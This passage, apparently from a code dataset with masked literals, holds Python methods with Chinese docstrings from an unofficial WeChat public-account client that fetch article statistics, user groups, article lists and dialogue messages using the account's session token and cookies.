",\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\"},{\\\"field\\\":\\\"ShareUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"ShareCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"}]]}\",\n                \"id\": \"205104027_1\",\n                \"title\": \"\u56de\u5bb6\u5927\u4f5c\u6218 | \u5feb\u6765\u5e26\u6211\u56de\u5bb6\"\n            },\n            {\n                \"index\": [\n                    \"20,786\",  // \u9001\u8fbe\u4eba\u6570\n                    \"2,598\",  // \u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570\n                    \"3,368\",  // \u56fe\u6587\u9875\u9605\u8bfb\u6b21\u6570\n                    \"12.5%\",  // (\u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570 / \u9001\u8fbe\u4eba\u6570)\n                    \"0\",  // \u539f\u6587\u9875\u9605\u8bfb\u4eba\u6570\n                    \"0\",  // \u539f\u6587\u9875\u9605\u8bfb\u6b21\u6570\n                    \"0%\",  // \uff08\u539f\u6587\u9875\u9605\u8bfb\u4eba\u6570 / \u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570)\n                    \"73\",  // \u5206\u4eab\u8f6c\u53d1\u4eba\u6570\n                    \"98\",  // \u5206\u4eab\u8f6c\u53d1\u6b21\u6570\n                    \"1\"  // \u5fae\u4fe1\u6536\u85cf\u4eba\u6570\n                ],\n                \"time\": \"2015-01-20\",\n                \"table_data\": \"{\\\"fields\\\":{\\\"TargetUser\\\":{\\\"thText\\\":\\\"\\\\u9001\\\\u8fbe\\\\u4eba\\\\u6570\\\",\\\"number\\\":false,\\\"colAlign\\\":\\\"center\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"IntPageReadUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"IntPageReadCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"PageConversion\\\":{\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":\\\"2\\\"},\\\"OriPageReadUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"OriPageReadCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"Conversion\\\":{\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":\\\"2\\\"},\\\"ShareUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"ShareCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"AddToFavUser\\\":{\\\"thText\\\":\\\"\\\\u5fae\\\\u4fe1\\\\u6536\\\\u85cf\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0}},\\\"data\\\":[{\\\"MsgId\\\":\\\"205066833_1\\\",\\\"Title\\\":\\\"\\\\u56de\\\\u5bb6\\\\u5927\\\\u4f5c\\\\u6218 | \\\\u5982\\\\u4f55\\\\u4f18\\\\u96c5\\\\u5730\\\\u53bb\\\\u5f80\\\\u8f66\\\\u7ad9\\\\u548c\\\\u673a\\\\u573a\\\",\\\"RefDate\\\":\\\"20150120\\\",\\\"TargetUser\\\":\\\"20,786\\\",\\\"IntPageReadUser\\\":\\\"2,598\\\",\\\"IntPageReadCount\\\":\\\"3,368\\\",\\\"OriPageReadUser\\\":\\\"0\\\",\\\"OriPageReadCount\\\":\\\"0\\\",\\\"ShareUser\\\":\\\"73\\\",\\\"ShareCount\\\":\\\"98\\\",\\\"AddToFavUser\\\":\\\"1\\\",\\\"Conversion\\\":\\\"0%\\\",\\\"PageConversion\\\":\\\"12.5%\\\"}],\\\"fixedRow\\\":false,\\\"cssSetting\\\":{\\\"\\\":\\\"\\\"},\\\"complexHeader\\\":[[{\\\"field\\\":\\\"TargetUser\\\",\\\"thText\\\":\\\"\\\\u9001\\\\u8fbe\\\\u4eba\\\\u6570\\\",\\\"rowSpan\\\":2,\\\"colSpan\\\":1},{\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u9875\\\\u9605\\\\u8bfb\\\",\\\"colSpan\\\":3},{\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u9875\\\\u9605\\\\u8bfb\\\",\\\"colSpan\\\":3},{\\\"thText\\\":\\\"\\\\u5206\\\\u4eab\\\\u8f6c\\\\u53d1\\\",\\\"colSpan\\\":2},{\\\"field\\\":\\\"AddToFavUser\\\",\\\"thText\\\":\\\"\\\\u5fae\\\\u4fe1\\\\u6536\\\\u85cf\\\\u4eba\\\\u6570\\\",\\\"rowSpan\\\":2,\\\"enable\\\":true}],[{\\\"field\\\":\\\"IntPageReadUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"IntPageReadCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"},{\\\"field\\\":\\\"PageConversion\\\",\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\"},{\\\"field\\\":\\\"OriPageReadUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"OriPageReadCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"},{\\\"field\\\":\\\"Conversion\\\",\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\"},{\\\"field\\\":\\\"ShareUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"ShareCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"}]]}\",\n                \"id\": \"205066833_1\",\n                \"title\": \"\u56de\u5bb6\u5927\u4f5c\u6218 | \u5982\u4f55\u4f18\u96c5\u5730\u53bb\u5f80\u8f66\u7ad9\u548c\u673a\u573a\"\n            },\n            {\n                \"index\": [\n                    \"20,745\",  // \u9001\u8fbe\u4eba\u6570\n                    \"1,355\",  // \u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570\n                    \"1,839\",  // \u56fe\u6587\u9875\u9605\u8bfb\u6b21\u6570\n                    \"6.53%\",  // (\u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570 / \u9001\u8fbe\u4eba\u6570)\n                    \"145\",  // \u539f\u6587\u9875\u9605\u8bfb\u4eba\u6570\n                    \"184\",  // \u539f\u6587\u9875\u9605\u8bfb\u6b21\u6570\n                    \"10.7%\",  // \uff08\u539f\u6587\u9875\u9605\u8bfb\u4eba\u6570 / \u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570)\n                    \"48\",  // \u5206\u4eab\u8f6c\u53d1\u4eba\u6570\n                    \"64\",  // \u5206\u4eab\u8f6c\u53d1\u6b21\u6570\n                    \"5\"  // \u5fae\u4fe1\u6536\u85cf\u4eba\u6570\n                ],\n                \"time\": \"2015-01-19\",\n                \"table_data\": \"{\\\"fields\\\":{\\\"TargetUser\\\":{\\\"thText\\\":\\\"\\\\u9001\\\\u8fbe\\\\u4eba\\\\u6570\\\",\\\"number\\\":false,\\\"colAlign\\\":\\\"center\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"IntPageReadUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"IntPageReadCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"PageConversion\\\":{\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":\\\"2\\\"},\\\"OriPageReadUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"OriPageReadCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"Conversion\\\":{\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":\\\"2\\\"},\\\"ShareUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"ShareCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"AddToFavUser\\\":{\\\"thText\\\":\\\"\\\\u5fae\\\\u4fe1\\\\u6536\\\\u85cf\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0}},\\\"data\\\":[{\\\"MsgId\\\":\\\"205028693_1\\\",\\\"Title\\\":\\\"\\\\u5145\\\\u7535\\\\u65f6\\\\u95f4 | \\\\u542c\\\\u542c\\\\u7535\\\\u53f0\\\\uff0c\\\\u4f18\\\\u96c5\\\\u5730\\\\u63d0\\\\u5347\\\\u5b66\\\\u4e60\\\\u6548\\\\u7387\\\",\\\"RefDate\\\":\\\"20150119\\\",\\\"TargetUser\\\":\\\"20,745\\\",\\\"IntPageReadUser\\\":\\\"1,355\\\",\\\"IntPageReadCount\\\":\\\"1,839\\\",\\\"OriPageReadUser\\\":\\\"145\\\",\\\"OriPageReadCount\\\":\\\"184\\\",\\\"ShareUser\\\":\\\"48\\\",\\\"ShareCount\\\":\\\"64\\\",\\\"AddToFavUser\\\":\\\"5\\\",\\\"Conversion\\\":\\\"10.7%\\\",\\\"PageConversion\\\":\\\"6.53%\\\"}],\\\"fixedRow\\\":false,\\\"cssSetting\\\":{\\\"\\\":\\\"\\\"},\\\"complexHeader\\\":[[{\\\"field\\\":\\\"TargetUser\\\",\\\"thText\\\":\\\"\\\\u9001\\\\u8fbe\\\\u4eba\\\\u6570\\\",\\\"rowSpan\\\":2,\\\"colSpan\\\":1},{\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u9875\\\\u9605\\\\u8bfb\\\",\\\"colSpan\\\":3},{\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u9875\\\\u9605\\\\u8bfb\\\",\\\"colSpan\\\":3},{\\\"thText\\\":\\\"\\\\u5206\\\\u4eab\\\\u8f6c\\\\u53d1\\\",\\\"colSpan\\\":2},{\\\"field\\\":\\\"AddToFavUser\\\",\\\"thText\\\":\\\"\\\\u5fae\\\\u4fe1\\\\u6536\\\\u85cf\\\\u4eba\\\\u6570\\\",\\\"rowSpan\\\":2,\\\"enable\\\":true}],[{\\\"field\\\":\\\"IntPageReadUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"IntPageReadCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"},{\\\"field\\\":\\\"PageConversion\\\",\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\"},{\\\"field\\\":\\\"OriPageReadUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"OriPageReadCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"},{\\\"field\\\":\\\"Conversion\\\",\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\"},{\\\"field\\\":\\\"ShareUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"ShareCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"}]]}\",\n                \"id\": \"205028693_1\",\n                \"title\": \"\u5145\u7535\u65f6\u95f4 | \u542c\u542c\u7535\u53f0\uff0c\u4f18\u96c5\u5730\u63d0\u5347\u5b66\u4e60\u6548\u7387\"\n            }\n        ]\n    }\n\n:param page: \u9875\u7801 (\u7531\u4e8e\u817e\u8baf\u63a5\u53e3\u9650\u5236\uff0cpage \u4ece 1 \u5f00\u59cb\uff0c3 \u6761\u6570\u636e\u4e3a 1 \u9875)\n:param start_date: \u5f00\u59cb\u65f6\u95f4\uff0c\u9ed8\u8ba4\u662f\u4eca\u5929-30\u5929 (\u7c7b\u578b: str \u683c\u5f0f\u793a\u4f8b: \"2015-01-15\")\n:param end_date: \u7ed3\u675f\u65f6\u95f4\uff0c\u9ed8\u8ba4\u662f\u4eca\u5929 (\u7c7b\u578b: str \u683c\u5f0f\u793a\u4f8b: \"2015-02-01\")\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\uff0c\u5177\u4f53\u7684\u5404\u9879\u5185\u5bb9\u89e3\u91ca\u53c2\u89c1\u4e0a\u9762\u7684 JSON \u8fd4\u56de\u793a\u4f8b\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m7"}
{"signature": "def get_group_list(self):", "body": "url = '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>try:<EOL><INDENT>message = json.loads(r.text)['<STR_LIT>']<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message<EOL>", "docstring": "\u83b7\u53d6\u5206\u7ec4\u5217\u8868\n\n\u8fd4\u56deJSON\u793a\u4f8b::\n\n    {\n        \"groups\": [\n            {\n                \"cnt\": 8,\n                \"id\": 0,\n                \"name\": \"\u672a\u5206\u7ec4\"\n            },\n            {\n                \"cnt\": 0,\n                \"id\": 1,\n                \"name\": \"\u9ed1\u540d\u5355\"\n            },\n            {\n                \"cnt\": 0,\n                \"id\": 2,\n                \"name\": \"\u661f\u6807\u7ec4\"\n            }\n        ]\n    }\n\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m8"}
{"signature": "def get_news_list(self, page, pagesize=<NUM_LIT:10>):", "body": "begin = page * pagesize<EOL>url = \"<STR_LIT>\".format(<EOL>token=self.__token,<EOL>begin=begin,<EOL>pagesize=pagesize,<EOL>random=round(random.random(), <NUM_LIT:3>),<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>try:<EOL><INDENT>message = json.dumps(json.loads(r.text)['<STR_LIT>']['<STR_LIT>'], ensure_ascii=False)<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message<EOL>", "docstring": "\u83b7\u53d6\u56fe\u6587\u4fe1\u606f\u5217\u8868\n\n\u8fd4\u56deJSON\u793a\u4f8b::\n\n    [\n        {\n            \"multi_item\": [\n                {\n                    \"seq\": 0,\n                    \"title\": \"98\u8def\u516c\u4ea4\u7ebf\u8def\",\n                    \"show_cover_pic\": 1,\n                    \"author\": \"\",\n                    \"cover\": \"https://mmbiz.qlogo.cn/mmbiz/D2pflbZwStFibz2Sb1kWOuHrxtDMPKJic3GQgcgkDSoEm668gClFVDt3BR8GGQ5eB8HoL4vDezzKtSblIjckOf7A/0\",\n                    \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204884970&idx=1&sn=bf25c51f07260d4ed38305a1cbc0ce0f#rd\",\n                    \"source_url\": \"\",\n                    \"file_id\": 204884939,\n                    \"digest\": \"98\u8def\u7ebf\u8def1.\u519c\u5927- 2.\u91d1\u9633\u5c0f\u533a- 3.\u5e02\u5ba2\u8fd0\u53f8- 4.\u5e02\u5236\u836f\u5382- 5.\u65b0\u519c\u5927- 6.\u72ec\u5c71\u5b50\u9152\u5e97- 7.\u4e09\"\n                }\n            ],\n            \"seq\": 0,\n            \"title\": \"98\u8def\u516c\u4ea4\u7ebf\u8def\",\n            \"show_cover_pic\": 1,\n            \"author\": \"\",\n            \"app_id\": 204884970,\n            \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204884970&idx=1&sn=bf25c51f07260d4ed38305a1cbc0ce0f#rd\",\n            \"create_time\": \"1405237966\",\n            \"file_id\": 204884939,\n            \"img_url\": \"https://mmbiz.qlogo.cn/mmbiz/D2pflbZwStFibz2Sb1kWOuHrxtDMPKJic3GQgcgkDSoEm668gClFVDt3BR8GGQ5eB8HoL4vDezzKtSblIjckOf7A/0\",\n            \"digest\": \"98\u8def\u7ebf\u8def1.\u519c\u5927- 2.\u91d1\u9633\u5c0f\u533a- 3.\u5e02\u5ba2\u8fd0\u53f8- 4.\u5e02\u5236\u836f\u5382- 5.\u65b0\u519c\u5927- 6.\u72ec\u5c71\u5b50\u9152\u5e97- 7.\u4e09\"\n        },\n        {\n            \"multi_item\": [\n                {\n                    \"seq\": 0,\n                    \"title\": \"2013\u5e74\u65b0\u7586\u8f6f\u4ef6\u56ed\u5927\u4e8b\u8bb0\",\n                    \"show_cover_pic\": 0,\n                    \"author\": \"\",\n                    \"cover\": \"https://mmbiz.qlogo.cn/mmbiz/D2pflbZwStFibz2Sb1kWOuHrxtDMPKJic3icvFgkxZRyIrkLbic9I5ZKLa3XB8UqNlkT8CYibByHuraSvVoeSzdTRLQ/0\",\n                    \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204883415&idx=1&sn=68d62215052d29ece3f2664e9c4e8cab#rd\",\n                    \"source_url\": \"\",\n                    \"file_id\": 204883412,\n                    \"digest\": \"1\u67081\uff0e\u65b0\u7586\u8f6f\u4ef6\u56ed\u5c55\u5385\u8bbe\u8ba1\u65b9\u6848\u6c47\u62a5\u4f1a2013\u5e741\u670815\u65e5\u5728\u7ef4\u6cf0\u5927\u53a64\u697c9\u53f7\u4f1a\u8bae\u5ba4\u53ec\u5f00\u65b0\u7586\u8f6f\u4ef6\u56ed\u5c55\u5385\u8bbe\u8ba1\u5de5\u4f5c\u5b8c\"\n                },\n                {\n                    \"seq\": 1,\n                    \"title\": \"2012\u5e74\u65b0\u7586\u8f6f\u4ef6\u56ed\u5927\u4e8b\u8bb0\",\n                    \"show_cover_pic\": 0,\n                    \"author\": \"\",\n                    \"cover\": \"https://mmbiz.qlogo.cn/mmbiz/D2pflbZwStFibz2Sb1kWOuHrxtDMPKJic3oErGEhSicRQc82icibxZOZ2YAGNgiaGYfOFYppmPzOOS0v1xfZ1nvyT58g/0\",\n                    \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204883415&idx=2&sn=e7db9b30d770c85c61008d2f523b8610#rd\",\n                    \"source_url\": \"\",\n                    \"file_id\": 204883398,\n                    \"digest\": \"1\u67081\uff0e\u65b0\u7586\u8f6f\u4ef6\u56ed\u73af\u8bc4\u987a\u5229\u901a\u8fc7\u4e13\u5bb6\u4f1a\u8bc4\u5ba12012\u5e741\u670830\u65e5\uff0c\u65b0\u7586\u8f6f\u4ef6\u56ed\u73af\u5883\u5f71\u54cd\u8bc4\u4ef7\u987a\u5229\u901a\u8fc7\u4e13\u5bb6\u4f1a\u8bc4\u5ba1\uff0c\u4e0e\u4f1a\"\n                },\n                {\n                    \"seq\": 2,\n                    \"title\": \"2011\u5e74\u65b0\u7586\u8f6f\u4ef6\u56ed\u5927\u4e8b\u8bb0\",\n                    \"show_cover_pic\": 0,\n                    \"author\": \"\",\n                    \"cover\": \"https://mmbiz.qlogo.cn/mmbiz/D2pflbZwStFibz2Sb1kWOuHrxtDMPKJic3qA7tEN8GvkgDwnOfKsGsicJeQ6PxQSgWuJXfQaXkpM4VNlQicOWJM4Tg/0\",\n                    \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204883415&idx=3&sn=4cb1c6d25cbe6dfeff37f52a62532bd0#rd\",\n                    \"source_url\": \"\",\n                    \"file_id\": 204883393,\n                    \"digest\": \"6\u67081\uff0e\u8f6f\u4ef6\u56ed\u53ec\u5f00\u7b2c\u4e00\u6b21\u5efa\u8bbe\u9886\u5bfc\u5c0f\u7ec4\u4f1a\u8bae2011\u5e746\u67087\u65e5\uff0c\u7b2c\u4e00\u6b21\u8f6f\u4ef6\u56ed\u5efa\u8bbe\u9886\u5bfc\u5c0f\u7ec4\u4f1a\u8bae\u53ec\u5f00\uff0c\u4f1a\u8bae\u8ba4\u4e3a\uff0c\u65b0\u7586\"\n                },\n                {\n                    \"seq\": 3,\n                    \"title\": \"2010\u5e74\u65b0\u7586\u8f6f\u4ef6\u56ed\u5927\u4e8b\u8bb0\",\n                    \"show_cover_pic\": 0,\n                    \"author\": \"\",\n                    \"cover\": \"https://mmbiz.qlogo.cn/mmbiz/D2pflbZwStFibz2Sb1kWOuHrxtDMPKJic3YG4sSuf9X9ecMPjDRju842IbIvpFWK7tuZs0Po4kZCz4URzOBj5rnQ/0\",\n                    \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204883415&idx=4&sn=4319f7f051f36ed972e2f05a221738ec#rd\",\n                    \"source_url\": \"\",\n                    \"file_id\": 204884043,\n                    \"digest\": \"5\u67081\uff0e\u65b0\u7586\u8f6f\u4ef6\u56ed\u4e0e\u5f00\u53d1\u533a\uff08\u5934\u5c6f\u6cb3\u533a\uff09\u7ba1\u59d4\u4f1a\u3001\u7ecf\u4fe1\u59d4\u7b7e\u7f72\u300a\u65b0\u7586\u8f6f\u4ef6\u56ed\u5efa\u8bbe\u6218\u7565\u5408\u4f5c\u534f\u8bae\u300b2010\u5e745\u670812\u65e5\uff0c\"\n                }\n            ],\n            \"seq\": 1,\n            \"title\": \"2013\u5e74\u65b0\u7586\u8f6f\u4ef6\u56ed\u5927\u4e8b\u8bb0\",\n            \"show_cover_pic\": 0,\n            \"author\": \"\",\n            \"app_id\": 204883415,\n            \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204883415&idx=1&sn=68d62215052d29ece3f2664e9c4e8cab#rd\",\n            \"create_time\": \"1405232974\",\n            \"file_id\": 204883412,\n            \"img_url\": \"https://mmbiz.qlogo.cn/mmbiz/D2pflbZwStFibz2Sb1kWOuHrxtDMPKJic3icvFgkxZRyIrkLbic9I5ZKLa3XB8UqNlkT8CYibByHuraSvVoeSzdTRLQ/0\",\n            \"digest\": \"1\u67081\uff0e\u65b0\u7586\u8f6f\u4ef6\u56ed\u5c55\u5385\u8bbe\u8ba1\u65b9\u6848\u6c47\u62a5\u4f1a2013\u5e741\u670815\u65e5\u5728\u7ef4\u6cf0\u5927\u53a64\u697c9\u53f7\u4f1a\u8bae\u5ba4\u53ec\u5f00\u65b0\u7586\u8f6f\u4ef6\u56ed\u5c55\u5385\u8bbe\u8ba1\u5de5\u4f5c\u5b8c\"\n        }\n    ]\n\n:param page: \u9875\u7801 (\u4ece 0 \u5f00\u59cb)\n:param pagesize: \u6bcf\u9875\u6570\u76ee\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m9"}
{"signature": "def get_dialog_message(self, fakeid, last_msgid=<NUM_LIT:0>, create_time=<NUM_LIT:0>):", "body": "self._init_fakeid()<EOL>url = '<STR_LIT>'.format(<EOL>fakeid=fakeid,<EOL>fromfakeid=self.__fakeid,<EOL>last_msgid=last_msgid,<EOL>create_time=create_time,<EOL>token=self.__token,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(token=self.__token),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>try:<EOL><INDENT>message = json.dumps(json.loads(r.text)['<STR_LIT>'], ensure_ascii=False)<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message<EOL>", "docstring": "\u83b7\u53d6\u4e0e\u6307\u5b9a\u7528\u6237\u7684\u5bf9\u8bdd\u5185\u5bb9, \u83b7\u53d6\u7684\u5185\u5bb9\u7531 ``last_msgid`` (\u9700\u8981\u83b7\u53d6\u7684\u5bf9\u8bdd\u4e2d\u65f6\u95f4\u6700\u65e9\u7684 **\u516c\u4f17\u53f7\u53d1\u9001\u7ed9\u7528\u6237** \u7684\u6d88\u606fID) \u548c ``create_time`` (\u9700\u8981\u83b7\u53d6\u7684\u5bf9\u8bdd\u4e2d\u65f6\u95f4\u6700\u65e9\u7684\u6d88\u606f\u65f6\u95f4\u6233) \u8fdb\u884c\u8fc7\u6ee4\n\n\u6d88\u606f\u8fc7\u6ee4\u89c4\u5219:\n\n1. \u9996\u5148\u6309\u7167 ``last_msgid`` \u8fc7\u6ee4 (\u4e0d\u9700\u8981\u6309\u7167 ``last_msgid`` \u8fc7\u6ee4\u5219\u4e0d\u9700\u8981\u4f20\u5165\u6b64\u53c2\u6570)\n\n    a. ``fakeid`` \u4e3a\u7528\u6237 UID\n    b. \u901a\u8fc7 ``last_msgid`` \u53bb\u5339\u914d\u516c\u4f17\u53f7\u8fc7\u53bb\u53d1\u9001\u7ed9\u7528\u6237\u7684\u67d0\u4e00\u6761\u6d88\u606f\n    c. \u5982\u679c\u5339\u914d\u6210\u529f, \u5219\u8fd4\u56de\u8fd9\u6761\u6d88\u606f\u4e4b\u540e\u4e0e\u8fd9\u4e2a\u7528\u6237\u76f8\u5173\u7684\u6240\u6709\u6d88\u606f\u5185\u5bb9 (\u5305\u62ec\u53d1\u9001\u7684\u6d88\u606f\u548c\u63a5\u6536\u7684)\n    d. \u5982\u679c\u5339\u914d\u5931\u8d25 (\u6ca1\u6709\u627e\u5230), \u5219\u8fd4\u56de\u4e0e\u8fd9\u4e2a\u7528\u6237\u76f8\u5173\u7684\u6240\u6709\u6d88\u606f (\u5305\u62ec\u53d1\u9001\u7684\u6d88\u606f\u548c\u63a5\u6536\u7684)\n\n2. \u7b2c\u4e00\u6761\u89c4\u5219\u8fd4\u56de\u7684\u6d88\u606f\u5185\u5bb9\u63a5\u7740\u6309\u7167 ``create_time`` \u8fdb\u884c\u8fc7\u6ee4, \u8fd4\u56de ``create_time`` \u65f6\u95f4\u6233\u4e4b\u65f6\u53ca\u4e4b\u540e\u7684\u6240\u6709\u6d88\u606f (\u4e0d\u9700\u8981\u6309\u7167 ``create_time`` \u8fc7\u6ee4\u5219\u4e0d\u9700\u8981\u4f20\u5165\u6b64\u53c2\u6570)\n\n\u8fd4\u56deJSON\u793a\u4f8b::\n\n    {\n        \"to_nick_name\": \"Doraemonext\",\n        \"msg_items\": {\n            \"msg_item\": [\n                {\n                    \"date_time\": 1408671873,\n                    \"has_reply\": 0,\n                    \"multi_item\": [ ],\n                    \"msg_status\": 4,\n                    \"nick_name\": \"Doraemonext\",\n                    \"to_uin\": 2391068708,\n                    \"content\": \"\u4f60\u5462\",\n                    \"source\": \"\",\n                    \"fakeid\": \"844735403\",\n                    \"send_stat\": {\n                        \"fail\": 0,\n                        